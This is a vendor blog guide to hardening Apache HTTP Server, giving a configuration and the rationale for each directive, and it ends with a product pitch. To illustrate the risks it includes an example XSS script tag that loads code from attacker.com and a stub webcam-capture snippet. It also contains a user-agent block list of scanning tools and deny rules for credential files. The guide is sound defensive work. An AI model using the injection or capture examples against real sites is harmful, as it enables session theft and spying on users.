Sem Agente · Sem Instalação

Apache Hardening: Complete Guide

Apache Hardening: The Guide to Amplify Your Security (with everything that can go wrong if you don't) Every default Apache configuration you ignore is an open door. This guide shows you exactly what each one means in practice — and how to close them, one by one.

Apache Hardening: The Guide to Amplify Your Security (with everything that can go wrong if you don't)

Every default Apache configuration you ignore is an open door. This guide shows you exactly what each one means in practice — and how to close them, one by one.

Introduction

Apache HTTP Server is one of the most widely used web servers on the planet for over 25 years. And precisely because of that, it's also one of the most studied targets by attackers. Its default configuration is designed to work anywhere, not to be secure anywhere. This difference is what separates a healthy server from one that becomes a headline.

In this guide, we'll go through each hardening item explaining three things:

  1. What the default configuration does (or fails to do)
  2. What an attacker can do with it — with real scenarios
  3. How to fix it, with configuration ready to copy

By the end, you'll have Apache ready for production and will understand exactly why each line is there.

1. ServerTokens and ServerSignature: you're delivering a treasure map

What happens by default

When Apache responds to any request, it includes a Server header that by default contains something like:

Server: Apache/2.4.52 (Ubuntu)

And on error pages (404, 500, 403), it adds a footer:

Apache/2.4.52 (Ubuntu) Server at example.com Port 443

It may seem harmless. It's not.

What this causes in practice

Imagine you're running Apache 2.4.52 on Ubuntu. An attacker scanning the internet with Shodan, Censys, or a simple Python script discovers your server. In seconds:

  1. Queries the CVE database filtering by "Apache 2.4.52" — and finds a list of known vulnerabilities for that exact version.
  2. Knows it's Ubuntu, so knows which packages are installed, what the default file path is (/var/www/html), where logs are, who runs the service (www-data).
  3. Filters ready-made exploits on Exploit-DB or Metasploit that match your version. If there's an unpatched exploit, within minutes they're already testing.

The cost of an attacker discovering all this went from "hours of reconnaissance" to "one HTTP request". You saved them work.

Worse: automated scanners like Mirai and its derivatives scan the internet 24/7 looking for exactly vulnerable specific versions. It's not personal — it's industrial.

The fix

In /etc/apache2/conf-enabled/security.conf (Debian/Ubuntu) or /etc/httpd/conf/httpd.conf (RHEL/CentOS/Rocky):

# Shows only "Apache" in Server header, no version or OS
ServerTokens Prod

# Removes the footer from error pages
ServerSignature Off

After that, the Server header becomes simply Apache. The attacker still knows it's Apache (there's no way to hide it 100%), but lost the version and operating system. They can't filter specific exploits without extra work anymore.

Important: this is "security through obscurity" and doesn't replace keeping the server updated. But drastically reduces the number of automated attacks that can find you as a viable target.

2. expose_php: PHP shouting its version to the world

What happens by default

Every response generated by a PHP page brings a header like:

X-Powered-By: PHP/8.1.2

What this causes

Same problem as ServerTokens, with an aggravating factor: PHP vulnerabilities tend to be much more critical than Apache vulnerabilities, because PHP executes code. Some of the most well-known CVEs from recent years (CVE-2019-11043 in PHP-FPM, for example) allowed remote code execution with a single well-formed request.

If the attacker knows you're running PHP 8.1.2, they consult that exact version's CVEs and try. If your version is vulnerable and hasn't been patched yet, it's game over.

There's another less obvious side effect: bug bounty tools and aggressive scanners prioritize targets with old versions. Exposing your version is like hanging a sign that says "shoot here first".

The fix

In php.ini (use php --ini to discover the exact path):

expose_php = Off

Restart Apache (or PHP-FPM, depending on your setup). The header disappears completely.

Attention: if you use PHP-FPM, there are two different php.ini files — one for CLI and one for FPM. Adjust the FPM one (/etc/php/8.x/fpm/php.ini).

3. TraceEnable: the HTTP method we forgot to kill

What happens by default

The TRACE HTTP method was created in the 90s for debugging purposes — when you send a TRACE, the server responds with the entire request it received, intact. By default, Apache comes with TraceEnable On.

What this causes

There's a known attack called Cross-Site Tracing (XST). The idea: using JavaScript on a compromised page, an attacker forces the victim's browser to do a TRACE on the target server. The response includes all headers — including cookies marked as HttpOnly, which normally JavaScript can't read.

Result: the attacker captures session cookies that should be inaccessible and hijacks the victim's session. It works to this day on misconfigured servers.

Plus, automated vulnerability scanners mark TRACE enabled as medium severity vulnerability, which affects compliance scores (PCI-DSS, for example, requires TRACE disabled).

The fix

TraceEnable Off

Done. No side effects, no impact on real applications. I don't know a single legitimate site that needs TRACE enabled in production.

4. FileETag: leaking filesystem information

What happens by default

The ETag header is used for caching: the browser saves an ETag of a file and, on the next visit, asks the server "does this file still have that ETag?". If yes, the server responds 304 Not Modified and the browser uses the local version. Efficient.

The problem: by default, Apache generates the ETag from the file's inode, size, and modification date. The inode is an internal filesystem number.

What this causes

In itself, leaking an inode seems trivial. But:

  1. Cluster server identification: if you have 5 servers behind a load balancer, each file has a different inode on each server. An attacker can map how many servers you have, identify inconsistencies between them, and attack the weakest.
  1. NFS leak: in some old NFS setups, the inode could reveal storage configuration information.
  1. Compliance: the item is listed in PCI-DSS and CIS Benchmark audits as a vulnerability.

It's not the end of the world, but it's trivial to fix.

The fix

FileETag None

You'll still have caching working via Last-Modified and Cache-Control headers — which are sufficient for any real case.

5. Strict-Transport-Security (HSTS): preventing downgrade

What happens by default

Apache doesn't send HSTS by default. This means even if your site runs on HTTPS, a browser accessing for the first time still speaks HTTP on the first request — and only then gets redirected.

What this causes

There's a class of attacks called SSL Stripping, popularized by the sslstrip tool. The typical scenario:

  1. Victim connects to a café Wi-Fi (or airport, or the hacked neighbor's house)
  2. Attacker on the same network intercepts traffic (man-in-the-middle)
  3. Victim types "mybank.com" in the browser
  4. The browser makes first an HTTP request (not HTTPS)
  5. Attacker intercepts that HTTP, connects to the real bank via HTTPS, and returns to the victim the HTTP version of the site, relaying everything
  6. Victim never sees the lock, but doesn't notice either — and types username and password
  7. Attacker captures everything

With HSTS active, the browser refuses to speak HTTP with that domain. Even if the attacker intercepts, the browser shows an insuperable error and blocks the connection.

The fix

Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"

What each part means:

  • max-age=63072000 — the browser should force HTTPS for 2 years from the last visit
  • includeSubDomains — also applies to all subdomains (careful! see warning below)
  • preload — requests inclusion in the hardcoded list of browsers (Chrome, Firefox, Safari)

CRITICAL WARNING: once applied, the browser "remembers" the HSTS by the max-age defined. If your certificate expires, or if you need to access the site via HTTP for any reason, there's no going back — the user stays locked out. Start with max-age=300 (5 minutes) during testing, validate everything, and only then increase to production value.

About includeSubDomains: if you have legacy.example.com that still only speaks HTTP, this directive will break access to it. Check all subdomains before applying.

6. X-Frame-Options: the classic anti-clickjacking

What happens by default

Without this header, any site on the internet can load yours inside an <iframe>. Yes, any one.

What this causes

The attack is called clickjacking and works like this:

  1. Attacker creates any site ("iPhone giveaway", "test your IQ", etc.)
  2. That site loads your real site (say, your system's admin panel) inside an invisible iframe, with opacity: 0
  3. On top of the iframe, the attacker puts fake buttons: "Click here to win!"
  4. Victim — who is logged into your system on another tab — clicks the fake button
  5. Actually, the click goes to the invisible iframe, and they're clicking "Delete my account" or "Transfer balance"

Real cases have happened with Twitter, Facebook, internet banking. It's an especially dangerous vector for admin panels.

The fix

Header always set X-Frame-Options "SAMEORIGIN"

This allows only your own domain to put the site in an iframe. To block completely, use DENY. To allow a specific domain, use the more modern Content-Security-Policy: frame-ancestors directive (which we'll see in item 9).

7. X-Content-Type-Options: the MIME sniffing attack

What happens by default

When a browser receives a file and the Content-Type seems strange or missing, it tries to guess the file type by looking at the content. This behavior is called "MIME sniffing".

What this causes

Classic scenario: your site allows uploading avatar images. You validate that the file is a PNG by checking the extension. The attacker sends a file called photo.png whose content is actually JavaScript:

<script>stealCookies()</script>

You save the file, it sits in /uploads/photo.png. When another victim accesses that URL, the server responds with Content-Type: image/png. But the browser looks at the content, sees <script>, and thinks: "Oh, that looks like HTML!" — and executes it as HTML. The JavaScript runs in your domain's context. Stored XSS in a few steps.

This was a devastating attack in Internet Explorer of the 2000s, but still works in modern browsers under certain conditions.

The fix

Header always set X-Content-Type-Options "nosniff"

This header forces browsers to respect the Content-Type sent, without trying to guess. It's one line. Enable it always.

8. Referrer-Policy: controlling what leaks outside

What happens by default

When a user clicks a link on your site to an external site, the browser sends a Referer header (yes, with a spelling error — it's historical) telling the destination exactly which URL they came from. By default, this includes the full URL.

What this causes

Imagine your system has URLs like:

https://mysystem.com/admin/users?token=eyJhbG...

Or:

https://mysystem.com/reset-password?key=abc123def456

Or even:

https://myhospital.com/patient/john-silva-ssn-12345/exams

If the user clicks an external link on that page (or if the page loads an image from another domain), that entire URL is sent to the external domain, which will see it in its logs. Tokens, IDs, personal data — everything leaking.

This has already caused famous leaks — the most well-known case is U.S. healthcare systems that leaked patient identifiers to Facebook because of tracking pixels.

The fix

Header always set Referrer-Policy "strict-origin-when-cross-origin"

What this policy does:

  • For links within the same site: sends full URL (useful for internal analytics)
  • For external links via HTTPS: sends only the domain (https://mysystem.com), no path or query string
  • For links going from HTTPS to HTTP: sends nothing

It's a very good balance between privacy and functionality.

9. Content-Security-Policy (CSP): the Swiss Army knife of XSS defense

What happens by default

Without CSP, the browser executes any JavaScript that appears on the page, from any origin. Loads images from anywhere. Accepts styles from any source. Connects to any server via fetch().

What this causes

CSP is the most powerful modern defense against Cross-Site Scripting (XSS) — and XSS is, according to OWASP, one of the most common web vulnerabilities for over 20 years.

Scenario without CSP:

  1. Attacker finds an XSS vulnerability on your site (maybe a comment field that doesn't filter <script>)
  2. Injects: <script src="https://attacker.com/malware.js"></script>
  3. The malicious script runs in your domain's context, with access to cookies, localStorage, and everything else
  4. Can steal sessions, make requests on behalf of the victim, deface the page, redirect to phishing

With well-configured CSP, the browser simply refuses to load the script from attacker.com, even if it's injected in the HTML. The XSS vulnerability still exists in the code, but the impact is zero.

The fix (initial restrictive version)

Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"

Deciphering:

  • default-src 'self' — by default, only load things from your own domain
  • script-src 'self' — JavaScript only from your own domain (no inline, no external CDN)
  • style-src 'self' 'unsafe-inline' — CSS from your own domain + allows inline styles (necessary for many frameworks)
  • img-src 'self' data: https: — images from your own domain, data URIs, and any HTTPS
  • connect-src 'self' — fetch/XHR only to your own domain
  • frame-ancestors 'self' — replaces the modern X-Frame-Options
  • base-uri 'self' — prevents <base> from being injected to change the base path
  • form-action 'self' — forms can only submit to your own domain

CSP is the hardest header to configure. The policy above will break sites using Google Analytics, Google Fonts, jQuery via CDN, embedded maps, etc. Always test first with Content-Security-Policy-Report-Only, which only reports violations without blocking. Use this for a few days, monitor the browser logs, adjust, and only then switch to real Content-Security-Policy.

10. Permissions-Policy: blocking sensitive browser APIs

What happens by default

Without this header, any page on your site can request access to camera, microphone, geolocation, USB, motion sensors, etc. Even if your page never uses these, if there's an XSS, the attacker can inject code that requests these accesses.

What this causes

Imagine an XSS on your corporate site. An attacker injects:

navigator.mediaDevices.getUserMedia({ video: true, audio: true })
  .then(stream => /* sends stream to attacker's server */)

The victim sees the "allow camera?" popup — and since it's on a site they trust, clicks allow. Done: the executive's webcam and microphone, streaming live to the attacker.

The fix

Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"

This completely blocks these APIs. If your application really needs one (a specific page that uses camera), you enable it just for that origin using camera=(self).

11. Cross-Origin headers (COOP, CORP, COEP): modern isolation

What happens by default

Without these headers, your window shares a process with other windows that may have been opened from your site, and your resources can be loaded by any origin.

What this causes

After the Spectre and Meltdown attacks (2018), it was discovered that via JavaScript, it was possible to read memory from other browser processes through CPU side channels. The defense: isolate processes by origin.

  • COOP (Cross-Origin-Opener-Policy) — when set to same-origin, the browser guarantees your window is in a process isolated from other-origin windows
  • CORP (Cross-Origin-Resource-Policy) — controls which sites can load your resources (images, scripts, etc.)
  • COEP (Cross-Origin-Embedder-Policy) — requires embedded resources to explicitly declare they can be embedded

The fix

Header always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-origin"
# COEP only if you don't embed third-party resources
Header always set Cross-Origin-Embedder-Policy "require-corp"

Warning about COEP: the require-corp breaks any third-party resource that doesn't send the Cross-Origin-Resource-Policy header. If your site embeds YouTube, Google maps, CDN fonts, etc., remove COEP or change to unsafe-none.

12. Dangerous HTTP methods (PUT, DELETE, CONNECT)

What happens by default

Apache accepts practically all HTTP methods by default, including PUT, DELETE, OPTIONS, CONNECT, PATCH. If there's any misconfigured module (or a forgotten old WebDAV), methods like PUT can allow arbitrary file uploads.

What this causes

There are documented cases of Apache servers with WebDAV accidentally enabled where attackers did PUT /shell.php and installed a webshell in seconds. Total game over — remote code execution with a single request.

Even without WebDAV, enabled dangerous methods appear in vulnerability scanners and impact compliance.

The fix

Restrict methods in the root <Directory>:

<Directory /var/www/html>
    <LimitExcept GET POST HEAD>
        Require all denied
    </LimitExcept>
</Directory>

If your application is a REST API that needs PUT, DELETE, and PATCH, adjust:

<LimitExcept GET POST HEAD PUT DELETE PATCH OPTIONS>
    Require all denied
</LimitExcept>

13. Directory listing (Options Indexes)

What happens by default

In many setups, if you access a folder URL (/uploads/) and there's no index.html inside, Apache lists all files in the folder. Pretty, organized, with date and size.

What this causes

Real scenarios:

  • /backups/ — listing all database dumps
  • /uploads/ — all documents uploaded by users, including internal PDFs
  • /.git/ — entire source code history
  • /old/ — old site versions with vulnerabilities already fixed in the new version

I've seen this leak confidential contracts, database dumps with password hashes, complete source code of commercial applications, and (in a particularly unpleasant case) personal photos of employees who had uploaded the wrong folder's contents.

The fix

In the <Directory> or in a .htaccess:

Options -Indexes

And to ensure defense in depth, block direct access to sensitive files:

<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
    Require all denied
</FilesMatch>

And prevent access to any file/folder starting with .:

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule "(^|/)\." - [F]
</IfModule>

This protects .git, .env, .svn, .htaccess, .DS_Store, etc.

14. PHP execution in upload directories

What happens by default

By default, Apache executes PHP in any folder within the DocumentRoot. Including the upload folder.

What this causes

Combine this with any upload failure — weak extension filtering, MIME type validation only, anything — and you have webshell upload. The attacker sends shell.php, accesses /uploads/shell.php, and has command execution access on the server with the Apache user.

This is, for over 15 years, one of the most common compromise patterns in WordPress, Joomla, and any PHP application with upload management.

The fix

<Directory /var/www/html/uploads>
    php_flag engine off
    AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
    
    <FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

Three layers of protection: disable the PHP engine, force PHP extensions to be served as text, and block direct access to files with those extensions. Defense in depth.

15. SSL/TLS: do you still speak TLS 1.0?

What happens by default

In many distributions, Apache comes with support for SSLv3, TLS 1.0, and TLS 1.1 enabled by default. These protocols have known vulnerabilities (POODLE, BEAST, FREAK) and were officially discontinued by the IETF in 2021.

What this causes

  • POODLE (SSLv3) — allows decrypting traffic via padding oracle attack
  • BEAST (TLS 1.0) — attack against CBC ciphers
  • FREAK / Logjam — forces downgrade to weak export-grade ciphers

Even if your modern browser negotiates TLS 1.3, the fact that the server accepts TLS 1.0 means malicious clients can force downgrade. Besides, any serious certification (PCI-DSS, ISO 27001, LGPD in some interpretations) requires TLS 1.2 minimum.

The fix

SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder     off
SSLSessionTickets       off

# OCSP Stapling — improves performance and privacy of certificate validation
SSLUseStapling          on
SSLStaplingCache        "shmcb:logs/ssl_stapling(32768)"

To generate a custom configuration (including "modern", "intermediate", and "old" profiles for different compatibility levels), use the Mozilla SSL Configuration Generator.

16. LimitRequestBody: protecting against amateur DoS

What happens by default

Apache accepts requests of arbitrary size. No limit.

What this causes

An attacker can send a 4GB POST to any endpoint on your site and exhaust the server's memory. Repeating this from several origins, they bring down the server without needing a botnet. It's amateur DoS, but it works.

The fix

# Limits uploads to 10MB per request (adjust as needed)
LimitRequestBody 10485760

For specific endpoints that need to accept larger uploads (for example, video upload), define the limit locally.

Final configuration: all together

Here's the complete file ready to copy. Save to /etc/apache2/conf-available/security-hardening.conf and enable with:

sudo a2enconf security-hardening
sudo apachectl configtest
sudo systemctl restart apache2
# ============================================================
#  SECURITY HARDENING - Apache HTTP Server
#  Place in /etc/apache2/conf-available/security-hardening.conf
#  Enable with: sudo a2enconf security-hardening
# ============================================================

# --- Hide versions and server information ---
ServerTokens Prod
ServerSignature Off
TraceEnable Off
FileETag None

# --- HTTP security headers ---
<IfModule mod_headers.c>
    # Forces HTTPS for 2 years (CAREFUL: start with max-age=300 to test!)
    Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
    
    # Anti-clickjacking
    Header always set X-Frame-Options "SAMEORIGIN"
    
    # Anti MIME-sniffing
    Header always set X-Content-Type-Options "nosniff"
    
    # Controls URL leakage via Referer
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    
    # Blocks sensitive browser APIs
    Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
    
    # Base CSP (TEST first with Content-Security-Policy-Report-Only!)
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"
    
    # Cross-origin isolation
    Header always set Cross-Origin-Opener-Policy "same-origin"
    Header always set Cross-Origin-Resource-Policy "same-origin"
    # COEP only if you DON'T embed third-party resources:
    # Header always set Cross-Origin-Embedder-Policy "require-corp"
    
    # Remove headers that leak information
    Header always unset X-Powered-By
    Header always unset Server
    Header unset X-Powered-By
    Header unset Server
</IfModule>

# --- Block dangerous HTTP methods ---
<Directory /var/www/html>
    Options -Indexes -Includes -ExecCGI
    AllowOverride None
    Require all granted
    
    <LimitExcept GET POST HEAD>
        Require all denied
    </LimitExcept>
</Directory>

# --- Block sensitive files ---
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
    Require all denied
</FilesMatch>

# --- Block folders/files starting with . ---
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule "(^|/)\." - [F]
</IfModule>

# --- Upload folder without PHP execution ---
<Directory /var/www/html/uploads>
    php_flag engine off
    AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
    
    <FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

# --- Request size limit ---
LimitRequestBody 10485760

# --- Strong SSL/TLS ---
<IfModule mod_ssl.c>
    SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
    SSLCipherSuite          ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
    SSLHonorCipherOrder     off
    SSLSessionTickets       off
    
    SSLUseStapling          on
    SSLStaplingCache        "shmcb:logs/ssl_stapling(32768)"
</IfModule>

And the complementary .htaccess (for shared hosting or environments where you don't have access to the main conf):

# .htaccess - place in site root

<IfModule mod_rewrite.c>
    RewriteEngine On
    
    # Force HTTPS
    RewriteCond %{HTTPS} !=on
    RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
    
    # Block access to files/folders starting with dot
    RewriteRule "(^|/)\." - [F]
    
    # Block user agents from common malicious scanners
    RewriteCond %{HTTP_USER_AGENT} (nikto|sqlmap|fimap|nessus|whatweb|jbrofuzz|libwhisker|webshag|grabber|dirbuster) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# Block directory listing
Options -Indexes

# Block sensitive files
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
    Require all denied
</FilesMatch>

# Upload limit (10MB)
LimitRequestBody 10485760

Validating the result

After applying everything:

# Validate Apache syntax
sudo apachectl configtest

# Restart
sudo systemctl restart apache2

# Test headers
curl -I https://yourdomain.com

Also use external tools:

  • securityheaders.com — analyzes all HTTP headers and gives a rating from A+ to F
  • ssllabs.com/ssltest — complete TLS analysis
  • Mozilla Observatory — general security overview
  • SentinelHub — does all that and even monitors 24/7, alerts when something changes, identifies vulnerabilities in detected technologies, and generates reports in English

Final checklist

  • [ ] ServerTokens Prod and ServerSignature Off
  • [ ] TraceEnable Off
  • [ ] FileETag None
  • [ ] expose_php = Off in php.ini
  • [ ] Modules headers, rewrite, ssl enabled
  • [ ] HSTS configured (tested with short max-age first!)
  • [ ] X-Frame-Options applied
  • [ ] X-Content-Type-Options applied
  • [ ] Referrer-Policy applied
  • [ ] Permissions-Policy applied
  • [ ] CSP defined (tested in report-only first!)
  • [ ] COOP/CORP applied
  • [ ] Dangerous HTTP methods blocked
  • [ ] Options -Indexes applied
  • [ ] Sensitive files blocked via FilesMatch
  • [ ] PHP disabled in upload folders
  • [ ] TLS 1.0 and 1.1 disabled
  • [ ] Modern ciphers configured
  • [ ] LimitRequestBody defined
  • [ ] Site tested on securityheaders.com (goal: A or A+)
  • [ ] Site tested on ssllabs.com (goal: A or A+)
  • [ ] Site monitored continuously (because you'll forget tomorrow)

Final considerations

Hardening is not an event, it's a continuous process. Did you apply all this today? Great. But tomorrow someone is going to install a new WordPress plugin, someone is going to update PHP and reset configurations, someone is going to put a backup file in a public folder "just for a moment", someone is going to enable TRACE for debugging and forget.

The only realistic way to keep a server secure long-term is to monitor continuously — some tool has to be watching, every day, to see if anything changed for the worse.

That's exactly what SentinelHub is for: continuous web security scanning, with real-time alerts when something changes, descriptions in English, reports ready to show the boss, and detection of everything this guide covered (and much more).

Next post in the series: Nginx Hardening — same principles, different configuration, some exclusive tricks. Don't miss it.

Liked it? Share with your company's sysadmin. Think they should have read this yesterday? They probably should.